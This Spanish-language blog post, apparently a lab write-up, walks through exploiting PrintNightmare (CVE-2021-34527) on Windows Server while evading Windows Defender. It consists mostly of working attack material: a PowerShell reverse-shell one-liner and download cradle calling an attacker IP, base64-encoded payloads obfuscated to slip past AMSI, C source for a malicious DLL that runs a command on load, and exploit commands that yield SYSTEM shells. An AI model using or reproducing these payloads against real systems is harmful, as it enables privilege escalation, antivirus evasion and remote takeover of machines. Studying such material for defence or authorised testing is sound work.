PrintNightmare Bypasseando Windows Defender Link to heading

‘PringtNightmare bypassing Windows Defender’ Avatar


Resumen Link to heading

En este post veremos cómo explotar PrintNightmare (también conocida como CVE-2021-34527) en un sistema potencialmente vulnerable; especialmente para Windows Server 2019 o versiones anteriores. Cuando intentamos abusar de esta vulnerabilidad, puede ser que seamos detenidos por Windows Defender. No obstante, con algo de ofuscación y códigos propios (en lugar de usar Metasploit, por ejemplo) es relativamente fácil bypassearlo como veremos a lo largo de este post.


¿Qué es PrintNightmare? Link to heading

PrintNightmare (también conocida como CVE-2021-34527) es una vulnerabilidad la cual radica en una función de la cola de impresión de Windows, concretamente en RpAddPrinterDriverEx() el cual permite la instalación de una nueva impresora en el sistema. El problema es que el gestor de impresión no restringe el acceso al sistema, a pesar de que sí debería hacerlo, por lo que cualquier usuario autenticado, ya sea local o remotamente, puede emplearla.

Identificando si una máquina víctima puede ser vulnerable a PrintNightmare Link to heading

En mi experiencia, siempre vale la pena darle un intento a este exploit para servidores/máquinas Windows Server 2019 o versiones más tempranas. Ello dado que pueden no estar parchadas ante esta vulnerabilidad.

Primero que todo, para revisar si una máquina víctima podría ser vulnerable a PrintNightmare, necesitamos revisar si los protocolos MS-RPRN y MS-PAR están habilitados en ésta.

El protocolo MS-RPRN, basados en la documentación de Microsoft puede ser definido como:

Información
Print System Remote Protocol: defines the communication of print job processing and print system management between a print client and a print server.

Es decir, es el protocolo que se encarga entre el cliente de la impresora y el servidor de la impresora.

Por otro lado, para MS-PAR tenemos:

Información
Print System Asynchronous Remote Protocol: defines the communication of print job processing and print system management information between a print client and a print server.
Es decir, es quien se encarga entre la comunicación de las tareas y los clientes/servidores de la impresora.

Estos son los protocolos usados por una impresora en el sistema los cuales pueden (o no) ser vulnerables.

Podemos saber fácilmente si estos protocolos se encuentran habilitados en una máquina a la cual tenemos conexión utilizando la herramienta rpcdump de Impacket con el comando:

impacket-rpcdump @<SERVER-IP>

No obstante, esto nos entregará muchísimo output. Podemos entonces filtrar por las palabras/protocolos MS-RPRN y MS-PAR junto con grep. Por ejemplo, supongamos que estamos ante una máquina víctima cuya dirección IP es 192.168.56.116; podemos entonces ejecutar:

❯ impacket-rpcdump @192.168.56.116 | grep -E 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol

Donde, como respuesta, podemos ver ambos protocolos mencionados.

Si queremos ver qué servicio está usando un protocolo, podemos simplemente leer algunas líneas más abajo de este. Por ejemplo, para el protocolo MS-RPRN tendremos:

❯ impacket-rpcdump @192.168.56.116 | grep -A 4 'MS-RPRN'

Protocol: [MS-RPRN]: Print System Remote Protocol
Provider: spoolsv.exe
UUID    : 12345678-1234-ABCD-EF00-0123456789AB v1.0
Bindings:
          ncalrpc:[LRPC-ed930673dd60cc67be]

Esto muestra que el protcolo está siendo utilizado por spoolsv.exe, el cual es el servidor API que se encarga de administrar los servicios relacionados con las impresoras como se puede ver en la documentación de Microsoft.

Explotación desde el interior… pero detenida por Windows Defender Link to heading

Supongamos que tenemos acceso a una máquina víctima en la cual hemos hallado algunas credenciales previamente. Por ejemplo, supongamos que hemos encontrado credenciales para un usuario llamado appolonia cuya contraseña es 5umm3r@ en un dominio con nombre CONS.THL.

Adicionalmente, asumamos que este usuario tiene acceso remoto a la máquina víctima (aunque, como veremos más adelante, esto no será necesario del todo para abusar de esta vulnerabilidad) a través del servicio Windows Remote Management (WinRM). Podemos entonces conectarnos como el usuario cuyas credenciales hemos encontrado a través de este servicio utilizando la herramienta evil-winrm:

❯ evil-winrm -u 'appolonia' -p '5umm3r@' -i 192.168.56.116

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\appolonia\Documents>

Podemos revisar que este usuario no tiene privilegios interesantes:

*Evil-WinRM* PS C:\Users\appolonia\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Ni se encuentra en grupos prometedores:

*Evil-WinRM* PS C:\Users\appolonia\Documents> net user appolonia

User name                    appolonia
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            04/11/2024 10:02:18
Password expires             Never
Password changeable          05/11/2024 10:02:18
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   29/11/2024 20:16:32

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Support
The command completed successfully.

Ya que tenemos acceso por evil-winrm (que al fin y al cabo es una sesión de Powershell), intentemos subir e importar un módulo de Powershell el cual ejecuta PrintNightmare. Para ello podemos clonar este repositorio, o simplemente descargar el archivo CVE-2021-34527.ps1 desde el repositorio en nuestra máquina de atacantes:

❯ wget https://raw.githubusercontent.com/JohnHammond/CVE-2021-34527/refs/heads/master/CVE-2021-34527.ps1

Una vez descargado en nuestra máquina de atacantes, podemos transferir el archivo .ps1, utilizando la función upload de evil-winrm; renombrando el archivo como printer.ps1 al momento de subirlo:

*Evil-WinRM* PS C:\Users\appolonia\Documents> upload CVE-2021-34527.ps1 printer.ps1

Info: Uploading /home/gunzf0x/OtherMachines/TheHackersLabs/Curiosity2/exploits/CVE-2021-34527.ps1 to C:\Users\appolonia\Documents\printer.ps1

Data: 238084 bytes of 238084 bytes copied

Info: Upload successful!

Pero aquí viene el problema. Al momento de intentar importar el módulo, Windows Defender lo reconoce como contenido malicioso, lo bloquea y lo borra:

*Evil-WinRM* PS C:\Users\appolonia\Documents> Import-Module .\printer.ps1

At C:\Users\appolonia\Documents\printer.ps1:1 char:1
+ function Invoke-Nightmare
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At C:\Users\appolonia\Documents\printer.ps1:1 char:1
+ function Invoke-Nightmare
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

Podríamos tratar de ofuscar el archivo .ps1 descargado, pero el archivo es algo grande y ofuscarlo tomaría muchísimo tiempo. En lugar de realizar esto, podemos intentar otras cosas.

Solicitando una reverse shell… bloqueados de nuevo por Windows Defender Link to heading

Adicionalmente, podemos revisar si Windows Defender nos bloquea cuando intentamos obtener una reverse shell. El plan para saber si estamos siendo bloqueados por Windows Defender (si estamos corriendo comandos desde el exterior de la máquina víctima y estamos ejecutando comandos “ciegamente” -por ejemplo, a través de un servidor web-) es simple:

  1. Crear un archivo Powershell el cual nos envíe una reverse shell a nuestra máquina de atacantes.
  2. Crear un “cradle” -que literalmente se traduce al español como “cuna”- el cual es un simple archivo o comando de Powershell. Este “cradle” solicitará el script de Powershell (nombrado en el punto anterior) el cual a su vez se encontrará expuesto en un servidor temporal HTTP.
  3. Solicitar el archivo malicioso de Powershell desde la máquina víctima, ver si recibimos una petición HTTP (lo cual indicará que se sí ejecutó la petición) y revisar si se establece una reverse shell. De no establecerse esto puede significar que Windows Defender lo bloquea.

Un script típico para reverse shells de Powershell en un oneliner puede ser obtenido desde Nishang (de hecho, el payload de tipo Powershell #3 (Base64) de la página Reverse Shell Generator, o https://www.revshells.com/, es este oneliner). Por ejemplo, extrayendo la parte importante del archivo (tercera línea) y modificándola levemente para obtener una shell tendremos un payload:

$client = New-Object System.Net.Sockets.TCPClient('192.168.56.2',443);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

donde, en este ejemplo, 192.168.56.2 es nuestra IP de atacantes y 443 es el puerto en el cual nos pondremos en escucha para obtener una reverse shell. Guardaremos el código anterior en un archivo llamado rev.ps1.

Ahora creamos el “cradle”. Este archivo simplemente solicitará el payload a través de Powershell:

IEX(New-Object Net.WebClient).downloadString('http://<Attacker-IP>:<Port>/<Module-PS-name>')

En este ejemplo en específico, solicitamos el archivo rev.ps1 el cual se encontrará expuesto en un servidor HTTP temporal en nuestra máquina víctima por el puerto 8080:

IEX(New-Object Net.WebClient).downloadString('http://192.168.56.2:8080/rev.ps1')

Para ejecutar correctamente esto en Powershell necesitamos de pasar los caracteres encodeados de utf-8 a utf-16le (así es como Powershell interpreta las cosas) y luego encodear aquello nuevamente en base64. Podemos lograr esto fácilmente en una terminal ejecutando:

❯ cat cradle | iconv -t utf-16le | base64 -w0 ; echo

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA1ADYALgAyADoAOAAwADgAMAAvAHIAZQB2AC4AcABzADEAJwApAAoA

Si hemos guardado el cradle en un archivo.

Podemos realizar lo mismo sin necesidad de un archivo, simplemente encodeando el contenido del “cradle”:

❯ echo -n 'IEX(New-Object Net.WebClient).downloadString("http://192.168.56.2:8080/rev.ps1")' | iconv -t utf-16le | base64 -w0 ; echo

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA1ADYALgAyADoAOAAwADgAMAAvAHIAZQB2AC4AcABzADEAIgApAA==

Empezamos un listener con netcat por el puerto 443 (junto con rlwrap lo cual nos permitirá trabajar con una reverse shell de manera más cómoda ante máquinas Windows) como hemos definido en el payload rev.ps1:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

Luego, empezamos un servidor HTTP temporal usando Python en el puerto 8080 (tal cual lo hemos definido en el “cradle”) exponiendo los archivos necesarios:

❯ ls -la && python -m http.server 8080

total 8
drwxrwxr-x  2 gunzf0x gunzf0x  80 Dec  5 02:20 .
drwxrwxrwt 18 root    root    400 Dec  5 02:21 ..
-rw-rw-r--  1 gunzf0x gunzf0x  81 Dec  5 02:19 cradle
-rw-rw-r--  1 gunzf0x gunzf0x 502 Dec  5 02:20 rev.ps1
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Finalmente, ejecutamos el payload encodeado utilizando Powershell en la máquina víctima:

*Evil-WinRM* PS C:\Users\appolonia\Documents> powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA1ADYALgAyADoAOAAwADgAMAAvAHIAZQB2AC4AcABzADEAJwApAAoA

<SNIP>
    + FullyQualifiedErrorId : NativeCommandError
powershell.exe :     + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.Invok

    + CategoryInfo          : NotSpecified: (    + FullyQual...mmands.Invok
<SNIP>

Pero nuevamente somos bloqueados por el Defender:

PrintNightmare 1

Como podemos ver en la captura, hemos obtenido una solicitud para el archivo rev.ps1 en el servidor temporal HTTP, pero nunca obtenemos una shell.

Ya en este punto tenemos 2 problemas generados por Windows Defender:

  1. No podemso ejecutar exploits de PrintNightmare directamente en la máquina víctima.
  2. No somos capaces de obtener una reverse shell.

Por ende, necesitamos una manera de bypassear ambos problemas.


Explotando PrintNightmare bypasseando Windows Defender Link to heading

El plan a perpetrar es simple:

  1. Ejecutar externamente PrintNightmare.
  2. Abusar de la vulnerabilidad para cargar un archivo .dll malicioso.
  3. Utilizar aquel archivo malicioso .dll para ejecutar un comando a nivel de sistema (para, por ejemplo, obtener una reverse shell).

PrintNightmare 6

Obtener una reverse shell evadiendo Windows Defender Link to heading

Para lograr obtener una reverse shell, podemos aplicar algo de ofuscación al script/oneliner previamente mostrado de Nishang. Por ejemplo, una manera simple de ofuscar es renombrar las variables: cambiar client a c, bytes a b, sendbyte a sb, borrar la variable que define Path y así…

Podríamos hacer esto de manera “manual”. Sin embargo, hace un tiempo, creé un script para la máquina Mist de HackTheBox el cual hace exactamente lo que queremos: renombra las variables del payload, encodea el código y empieza un servidor HTTP exponiendo el archivo malicioso .ps1. Este script puede ser descargado/clonado desde mi repositorio de Github y es el que usaré para automatizar levemente el proceso. Una vez clonado/descargado, podemos ejecutar este script en su modo server dando como argumentos nuestra IP de atacantes y puerto en escucha para trecibir una reverse shell:

❯ python3 BypassAMSI_PSRevshell.py server -i 192.168.56.2 -p 443

El modo server del script empezará automáticamente un servidor temporal HTTP en el puerto 8000.

Ejecutando el script, éste debería de generar un payload que simplemente debemos copiar y pasarlo a la máquina víctima. Lo pasamos a la sesión que teníamos con evil-winrm y lo ejecutamos. Si todo sale bien, deberíamos de primero de recibir una solicitud en el servidor temporal y, luego de ello, recibir una reverse shell en nuestro listener:

PrintNightmare 2

Bypasseamos Windows Defender y hemos obtenido así una reverse shell.

Potencial solución: Ejecutar PrintNightmare externamente Link to heading

Una manera para evitar que el antivirus detecte software con firmas, es utilizar programas de manera externa. Para este caso en específico utilizaremos este repositorio de ly4k para PrintNightmare el cual provee un script en Python que sólo requiere las librerías de Impacket (podemos fácilmente instalarlas ejecutando pip3 install impacket). Clonamos el repositorio en nuestra máquina de atacantes. Revisando la documentación, el script provee dos (2) maneras de ejecutarlo.

DLL Remoto Link to heading

Podemos crear un archivo .dll con contenido malicioso. No obstante, para ello NO debemos usar msfvenom dado que será bloqueado por Windows Defender como ya hemos visto anteriormente. En su lugar, podemos crear un simple código en C el cual crea un archivo .dll y ejecuta un comando a nivel de sistema al ser cargado:

#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void execute_system_program() {
    // Command to execute (e.g., launching cmd.exe)
    system("<command>");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // When the DLL is loaded, execute the system program
        execute_system_program();
    }
    return TRUE;
}

En lugar de <command> pasamos el comando encodeado para Powershell generado por el script que bypassea Windows Defender, de manera que el archivo es ahora:

#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void execute_system_program() {
    // Command to execute (e.g., launching cmd.exe)
    system("powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA1ADYALgAyADoAOAAwADAAMAAvAHIAZQB2AHMAaABlAGwAbAAuAHAAcwAxACIAKQA=");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // When the DLL is loaded, execute the system program
        execute_system_program();
    }
    return TRUE;
}

Guardaremos este archivo .c como create_exploit.c.

Podríamos compilar el archivo .c en una máquina Windows, o podríamos usar mingw para compilarlo en una máquina Linux (este herramienta puede ser instalada con sudo apt install mingw-w64 en distros basadas en Debian). Si lo tenemos instalado, podemos compilar el código y crear un archivo .dll:

❯ x86_64-w64-mingw32-gcc -shared -o pwn3d.dll create_exploit.c

Donde hemos nombrado el archivo compilado como pwn3d.dll.

Ahora necesitamos exponer este archivo .dll a través de SMB. Para realizar esto en Linux podemos utilizar la herramienta impacket-smbserver en el directorio donde se encuentra localizado el archivo malicioso .dll:

❯ impacket-smbserver smbFolder $(pwd) -smb2support

Empezamos un servidor HTTP conteniendo el payload:

❯ python3 BypassAMSI_PSRevshell.py server -i 192.168.56.2 -p 443

Empezamos un listener con netcat en el puerto especificado previamente:

❯ rlwrap -cAr nc -lvnp 443

Finalmente, usamos el script de ly4k para PrintNightmare para archivos remotos utilizando credenciales que hemos encontrado previamente (en este caso, las credenciales del usuario appolonia):

❯ python3 printnightmare.py -dll '\\192.168.56.2\smbFolder\pwn3d.dll' 'appolonia':'5umm3r@'@192.168.56.116

El ataque debería verse entonces como:

PrintNightmare 3

Como podemos ver, obtenemos una shell como el usuario nt authority/system, es decir, un usuario con máximos privilegios del sistema.

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [192.168.56.2] from (UNKNOWN) [192.168.56.116] 50880
whoami
nt authority\system

DLL Local Link to heading

En lugar de utilizar un “cradle”, también diseñé mi script para crear un oneliner de Powershell que nos envíe directamente una reverse shell desde la máquina víctima a nuestra máquina de atacante (básicamente, el mismo comando de https://www.revshells.com/, pero ofuscado). Podemos usar el comando revshell en el script para lograr esto:

❯ python3 BypassAMSI_PSRevshell.py revshell -i 192.168.56.2 -p 443 --no-banner

[*] Payload successfully generated. Execute the following command in the target machine:

powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4ANQA2AC4AMgAnACwANAA0ADMAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==

(don't forget to start listener on port 443)

Copiamos el payload generado y lo ponemos dentro de create_exploit.c. Así, este archivo se ve ahora como:

#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void execute_system_program() {
    // Command to execute (e.g., launching cmd.exe)
    system("powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4ANQA2AC4AMgAnACwANAA0ADMAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // When the DLL is loaded, execute the system program
        execute_system_program();
    }
    return TRUE;
}

Lo volvemos a compilar con mingw, llamándolo esta vez file.dll:

❯ x86_64-w64-mingw32-gcc -shared -o file.dll create_exploit.c

Subimos el archivo file.dll malicioso usando evil-winrm:

*Evil-WinRM* PS C:\Users\appolonia\Documents> upload file.dll

Info: Uploading /tmp/tests/file.dll to C:\Users\appolonia\Documents\file.dll

Data: 116084 bytes of 116084 bytes copied

Info: Upload successful!

Empezamos un listener con netcat en el puerto especificado (443 en nuestro ejemplo):

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

Y ejecutamos el exploit solicitando esta vez un archivo local, pasando como argumento la ruta absoluta del archivo file.dll subido y las credenciales del usuario:

❯ python3 printnightmare.py -dll 'C:\Users\appolonia\Documents\file.dll' 'appolonia':'5umm3r@'@192.168.56.116

PrintNightmare 4

Obtenemos, nuevamente, una shell como nt authority/system:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [192.168.56.2] from (UNKNOWN) [192.168.56.116] 50903
whoami
nt authority\system
PS >

~Happy Hacking